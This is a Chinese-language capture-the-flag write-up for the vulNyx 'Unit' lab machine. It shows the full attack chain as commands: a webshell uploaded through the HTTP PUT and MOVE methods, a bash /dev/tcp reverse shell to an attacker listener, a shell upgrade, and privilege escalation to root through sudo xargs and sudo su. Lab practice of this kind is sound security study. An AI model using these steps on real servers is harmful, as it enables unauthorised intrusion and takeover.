by 小凡君m 2024.7.1
vlNyx的Unit是一个比较简单的靶机,主要就在PUT和MOVE的使用,这两个东西比较小众,正常情况下的网站和服务器都不会支持这种操作。
让我们开始吧,我们先看一下靶机的情况:
这是vulNyx的Unit靶机,在我这里的IP为192.168.100.101
我们使用rustscan来扫描一下目标
指令为
rustscan -a <目标机地址> -- -sC
发现有三个端口22、80和8080,按照一般情况推测,22运行着ssh服务,80和8080运行着http服务,我们继续往下看
我们发现8080口的http服务支持PUT和MOVE操作,这两个是高危操作
PUT可以向目标机上传文件,MOVE可以移动目标机上文件的位置,也可以重命名
那么我们的思路就出来了,先上传一个木马或者webshell,然后让目标反弹Shell给我们,然后提权收集flag
我这里克隆了github上的p0wny-shell,可以在前端页面直接执行shell命令,非常方便。
但是虽然PUT可以直接向目标机上传文件,但是直接上传php文件会直接404,要先把php改成txt再上传
mv shell.php shell.txt
然后使用curl把文件PUT上去,注意,这里只有8080口支持PUT和MOVE,80口是不支持的,所以要带上8080口
curl -T 'shell.txt' '<目标机地址>'
但是txt文件在目标机上不会运行,所以我们要通过MOVE来吧txt文件重命名为php文件,注意,这里也需要带上8080口
curl -X MOVE -H "Destination:<目标机地址>/<目标文件名或地址>" <目标机地址>/<源文件地址>
这里我们就成功上传并更改了我们的p0wny-shell文件,如果不出意外我们可以用浏览器正常访问它
现在我们在我们的终端用netcat上开一个监听
nc -lvnp <监听端口号>
然后我们通过web上的shell让目标机反弹一个Shell回来
bash -c "bash -i >& /dev/tcp/<攻击机IP>/<监听端口号> 0>&1"
然后我们在我们的终端上就可以看到反弹回来的Shell了
但是这个原始的Shell并不能支持我们后面的操作,所以我们要将它更改为可交互式Shell,具体的可看同站内《反弹shell并调整为完整的shell》这篇文章
script /dev/null -qc /bin/bash
<Ctrl>+Z
stty size
stty raw -echo
fg
export SHELL=/bin/bash
export TERM=xterm-256color
source /etc/skel/.bashrc
stty rows <行号> columns <列号>
现在,我们就得到了一个完整的Shell
接下来一路sudo就可以了
我们先以www-data来试试sudo
sudo -l
我们可以发现我们可以无密码的使用jones执行xargs
其中xargs可以通过sudo xargs -a /dev/null sh
来提权
所以我们同通过以下指令转为jones用户
sudo -u jones xargs -a /dev/null sh
然后我们接着sudo下去
sudo -l
我们发现jones竟然可以无密码的执行su
那接下来就简单了,我们可以通过su直接拿到root权限
sudo su
然后就是快乐的收割flags
cd ~
cat root.txt
cat /home/jones/user.txt
该靶机就到此结束
Comments NOTHING